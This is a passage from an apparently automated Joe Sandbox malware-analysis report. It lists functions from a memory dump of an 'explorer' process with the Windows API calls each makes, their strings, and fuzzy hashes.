Part of subcall function 011BAD98: _amsg_exit.LIBCMT ref: 011BADAE

_getptd.LIBCMT ref: 011BE43A
_lock.LIBCMT ref: 011BE44D
_amsg_exit.LIBCMT ref: 011BE47B

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: _amsg_exit_getptd$_lock
String ID:
API String ID: 3670291111-0
Opcode ID: 3e08b2e58fbf2c0528a6b76ba76d0d3e75f613e6b742c3ba148680e163a33f46
Instruction ID: 2d58d4cb5de80c5e6427e467c3877f33d198bcff3feb4746dd7e092ff9d60f2f
Opcode Fuzzy Hash: 3e08b2e58fbf2c0528a6b76ba76d0d3e75f613e6b742c3ba148680e163a33f46
Instruction Fuzzy Hash: 5DF0F865713141C6FB1DAB65D880BEC2762EBA8B48F4D4239DA098B391DF2C8444C721

Function 01194140 Relevance: 6.0, APIs: 4, Instructions: 21synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32 ref: 01194155
WaitForSingleObject.KERNEL32 ref: 01194171
CloseHandle.KERNEL32 ref: 0119417E
CloseHandle.KERNEL32 ref: 011941A0

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventObjectSingleWait
String ID:
API String ID: 2857295742-0
Opcode ID: a8fae1981da01bcbb2a1c6d84720f61f8cd10c58edd704b4508c663120668e76
Instruction ID: d0cd8d7fa154e2a3a6dc914eaf449be1b190e33422db320b5b29097a1bccc11a
Opcode Fuzzy Hash: a8fae1981da01bcbb2a1c6d84720f61f8cd10c58edd704b4508c663120668e76
Instruction Fuzzy Hash: 1DF07470601A0081FB1CAB56EC583D23260F794755F5A063DD62A46AF0CF7C86AFC340

Function 01191860 Relevance: 6.0, APIs: 4, Instructions: 21synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32 ref: 01191875
WaitForSingleObject.KERNEL32 ref: 01191891
CloseHandle.KERNEL32 ref: 0119189E
CloseHandle.KERNEL32 ref: 011918C0

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventObjectSingleWait
String ID:
API String ID: 2857295742-0
Opcode ID: 8f51929405574940be7766fa86d43549159d96cfea42b17bcf3ff5e4809f7d9a
Instruction ID: c6cec97e4a3845603700ac4d4b358c5eda88ac8b0c7dc82d9509437a0ac43f77
Opcode Fuzzy Hash: 8f51929405574940be7766fa86d43549159d96cfea42b17bcf3ff5e4809f7d9a
Instruction Fuzzy Hash: 6FF06274501A0481FB1CAB65EC583D57265F784765F5A067AD61B86AF0CF7C86EFC300

Function 011BC0B8 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 146COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 011BC0DC

Part of subcall function 011BAD98: _amsg_exit.LIBCMT ref: 011BADAE

Strings

csm, xrefs: 011BC213
csm, xrefs: 011BC109

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: _amsg_exit_getptd
String ID: csm$csm
API String ID: 4217099735-3733052814
Opcode ID: 3df88b8aebcde812e8943f6a934dd4efc34046fb34657283cbb5c52ec68e0694
Instruction ID: 5f5f79975e70824590758a1eecd7de4e40a0d2c663c850ebf3c02c1dad1b1f63
Opcode Fuzzy Hash: 3df88b8aebcde812e8943f6a934dd4efc34046fb34657283cbb5c52ec68e0694
Instruction Fuzzy Hash: 3351AF32204681CADB3C8FAAD4C07AEBBA4F745B98F488115DF9D67B44CB38C491CB81

Function 011B84A8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 011B84DF
_invalid_parameter_noinfo.LIBCMT ref: 011B84EA

Strings

B, xrefs: 011B8505

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: _errno_invalid_parameter_noinfo
String ID: B
API String ID: 2959964966-1255198513
Opcode ID: 6d84e33dfcd121de1eafe8823227b1be611e45426ac9c9a175a7570934149db3
Instruction ID: ea788ff3afb3a11d274be3388203da6fac7767088dc8905295e0d732ce064f73
Opcode Fuzzy Hash: 6d84e33dfcd121de1eafe8823227b1be611e45426ac9c9a175a7570934149db3
Instruction Fuzzy Hash: E1214F72B10A64C9EB1ADF75E9C07DC3BB8AB14BACF544225EF1A1BA88DB348545C710

Function 011C6F34 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 011C6FF8

Strings

csm, xrefs: 011C6FB4
csm, xrefs: 011C6F5B

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: _getptd
String ID: csm$csm
API String ID: 3186804695-3733052814
Opcode ID: caa61915c6e2b0a0e6ed17b53c02f9c7a0b75dc161a265ff4afdc4f30caa483d
Instruction ID: ec01b58352ba0250182bb5f7ea663d873aa800e5150de8f9f4c1c8979b3e25fc
Opcode Fuzzy Hash: caa61915c6e2b0a0e6ed17b53c02f9c7a0b75dc161a265ff4afdc4f30caa483d
Instruction Fuzzy Hash: 4721D477100644CADB298F6AD48429C3B75F368FADF8A2219EA4D0BF59CB75C890C785

Function 011C7034 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 011B8AB0: _getptd.LIBCMT ref: 011B8ABD
Part of subcall function 011B8AB0: _getptd.LIBCMT ref: 011B8AD0

_getptd.LIBCMT ref: 011C7095
_getptd.LIBCMT ref: 011C70A8

Strings

csm, xrefs: 011C7054

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: _getptd
String ID: csm
API String ID: 3186804695-1018135373
Opcode ID: 381a31de412e7f681f37a309b09687c868bbda3ed45e05af35985796972b0bea
Instruction ID: e7e7c0693232118def57724e9fddeb3edc89d3ef20c24beff4effa37cc135b8e
Opcode Fuzzy Hash: 381a31de412e7f681f37a309b09687c868bbda3ed45e05af35985796972b0bea
Instruction Fuzzy Hash: BC01623A140681CACB39AF36D8903AC3365EB6AF5DF494539CA4D0F685CF71C594CB01

Function 01194670 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27registryCOMMON

Download Yara Rule

APIs

Part of subcall function 011B84A8: _errno.LIBCMT ref: 011B84DF
Part of subcall function 011B84A8: _invalid_parameter_noinfo.LIBCMT ref: 011B84EA

RegGetValueW.ADVAPI32 ref: 011946E7

Strings

SOFTWARE\%s, xrefs: 01194687
{7EE6EBB8-7FBC-4C3E-AAB8-F5FE9571F428}, xrefs: 01194680, 011946D4

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Value_errno_invalid_parameter_noinfo
String ID: SOFTWARE\%s${7EE6EBB8-7FBC-4C3E-AAB8-F5FE9571F428}
API String ID: 4005939669-1494669752
Opcode ID: f86ff18f124f9998448d680a47867771b16ecf497ce81cc7c4cb35a6a3ded878
Instruction ID: 475d97daa368123e93db33676b05acc6815ffad59b6b0b470d6db071b563c7a7
Opcode Fuzzy Hash: f86ff18f124f9998448d680a47867771b16ecf497ce81cc7c4cb35a6a3ded878
Instruction Fuzzy Hash: D001F671218B8186EB64DF64F4847CAB7A4F384354F804226E6D842BA8DF7CC146CB40

Function 011AE590 Relevance: 5.0, APIs: 4, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 011AE5A8
LocalAlloc.KERNEL32 ref: 011AE5DD
LocalFree.KERNEL32 ref: 011AE626
LocalFree.KERNEL32 ref: 011AE631

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Local$AllocFree
String ID:
API String ID: 2012307162-0
Opcode ID: b138ba1aebf1ec8f75ee62ba587d068de580b8eb6777785ceab575a11608a321
Instruction ID: f54d8abdf04a1d3349e75f7c82a9760a527605210ea91c374f0c43b5f919e3c9
Opcode Fuzzy Hash: b138ba1aebf1ec8f75ee62ba587d068de580b8eb6777785ceab575a11608a321
Instruction Fuzzy Hash: 4311E976529A8486D7589F15F48439ABBA0F7C8798F401529FB8E47BA8CF7CC485CF00

Function 011AA998 Relevance: 5.0, APIs: 4, Instructions: 26COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32 ref: 011AAC1C
LocalFree.KERNEL32 ref: 011AAC2A
CloseHandle.KERNEL32 ref: 011AAC38
LocalFree.KERNEL32 ref: 011AAC43

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: FreeLocal$CloseHandle
String ID:
API String ID: 2045616094-0
Opcode ID: 0ad523c519bf6b0ddb911887fb408b7bb35983247c1440dd8550a25115891065
Instruction ID: 0e3f5ba1191ff4ddc083953b5d8f40159d13020536920e48bb64c6f4c5c1002b
Opcode Fuzzy Hash: 0ad523c519bf6b0ddb911887fb408b7bb35983247c1440dd8550a25115891065
Instruction Fuzzy Hash: C7014676218B84C2DA29AF15F8943D96731F7C5B95F404529EA5E43768CF28D885CB01

Function 011AA9D4 Relevance: 5.0, APIs: 4, Instructions: 26COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32 ref: 011AAC1C
LocalFree.KERNEL32 ref: 011AAC2A
CloseHandle.KERNEL32 ref: 011AAC38
LocalFree.KERNEL32 ref: 011AAC43

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: FreeLocal$CloseHandle
String ID:
API String ID: 2045616094-0
Opcode ID: 16a0aeb059cae2f3d09207e162a8b5b414ae30e5cd5292327763c3b9baa12ebb
Instruction ID: 0e3f5ba1191ff4ddc083953b5d8f40159d13020536920e48bb64c6f4c5c1002b
Opcode Fuzzy Hash: 16a0aeb059cae2f3d09207e162a8b5b414ae30e5cd5292327763c3b9baa12ebb
Instruction Fuzzy Hash: C7014676218B84C2DA29AF15F8943D96731F7C5B95F404529EA5E43768CF28D885CB01

Function 011AAA21 Relevance: 5.0, APIs: 4, Instructions: 26COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32 ref: 011AAC1C
LocalFree.KERNEL32 ref: 011AAC2A
CloseHandle.KERNEL32 ref: 011AAC38
LocalFree.KERNEL32 ref: 011AAC43

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: FreeLocal$CloseHandle
String ID:
API String ID: 2045616094-0
Opcode ID: d73eda59f30ac1fb3b0b4efd5edbe657eb2b2f8eef7f678bec99ab117ac4e254
Instruction ID: 0e3f5ba1191ff4ddc083953b5d8f40159d13020536920e48bb64c6f4c5c1002b
Opcode Fuzzy Hash: d73eda59f30ac1fb3b0b4efd5edbe657eb2b2f8eef7f678bec99ab117ac4e254
Instruction Fuzzy Hash: C7014676218B84C2DA29AF15F8943D96731F7C5B95F404529EA5E43768CF28D885CB01

Function 011AD07B Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32 ref: 011AD39E
CloseHandle.KERNEL32 ref: 011AD3B5
CloseHandle.KERNEL32 ref: 011AD3D7
CloseHandle.KERNEL32 ref: 011AD3F9

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle$FreeLocal
String ID:
API String ID: 2513001865-0
Opcode ID: 88dffc6a1b81ce04bfca87e42085a62a92b242d294944086ba8cc77f43fc57f9
Instruction ID: e1b6051efc59c98422b96c11b2e7687c94bc93bee058432875acc13da0e745a8
Opcode Fuzzy Hash: 88dffc6a1b81ce04bfca87e42085a62a92b242d294944086ba8cc77f43fc57f9
Instruction Fuzzy Hash: 12017F78208A1082FB5DAB65F8583E82B60EB80719F51013AE75A826B0CF7E95CBD201

Function 011AD0A3 Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32 ref: 011AD39E
CloseHandle.KERNEL32 ref: 011AD3B5
CloseHandle.KERNEL32 ref: 011AD3D7
CloseHandle.KERNEL32 ref: 011AD3F9

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle$FreeLocal
String ID:
API String ID: 2513001865-0
Opcode ID: 071ec3ee98c63fbac2543c53b144c79b050ce75277ae2af07826768c390415da
Instruction ID: e1b6051efc59c98422b96c11b2e7687c94bc93bee058432875acc13da0e745a8
Opcode Fuzzy Hash: 071ec3ee98c63fbac2543c53b144c79b050ce75277ae2af07826768c390415da
Instruction Fuzzy Hash: 12017F78208A1082FB5DAB65F8583E82B60EB80719F51013AE75A826B0CF7E95CBD201

Function 011AD0CE Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32 ref: 011AD39E
CloseHandle.KERNEL32 ref: 011AD3B5
CloseHandle.KERNEL32 ref: 011AD3D7
CloseHandle.KERNEL32 ref: 011AD3F9

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle$FreeLocal
String ID:
API String ID: 2513001865-0
Opcode ID: fe83e434bb21f8b47625b133ee357315dbef1f0c2e12580fe1cd2892aaf91b30
Instruction ID: e1b6051efc59c98422b96c11b2e7687c94bc93bee058432875acc13da0e745a8
Opcode Fuzzy Hash: fe83e434bb21f8b47625b133ee357315dbef1f0c2e12580fe1cd2892aaf91b30
Instruction Fuzzy Hash: 12017F78208A1082FB5DAB65F8583E82B60EB80719F51013AE75A826B0CF7E95CBD201

Function 01195938 Relevance: 5.0, APIs: 4, Instructions: 21COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32 ref: 01195A17
LocalFree.KERNEL32 ref: 01195A2E
CloseHandle.KERNEL32 ref: 01195A41
CloseHandle.KERNEL32 ref: 01195A54

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: cad900d789a40a9619eb8a84c31abfdaddefd0efb2762fffc6044bd3b6a371bc
Instruction ID: c2dbda10c42054e7a2984db37f2c2d75f12a05b0cb50b8294aa717a78882ed36
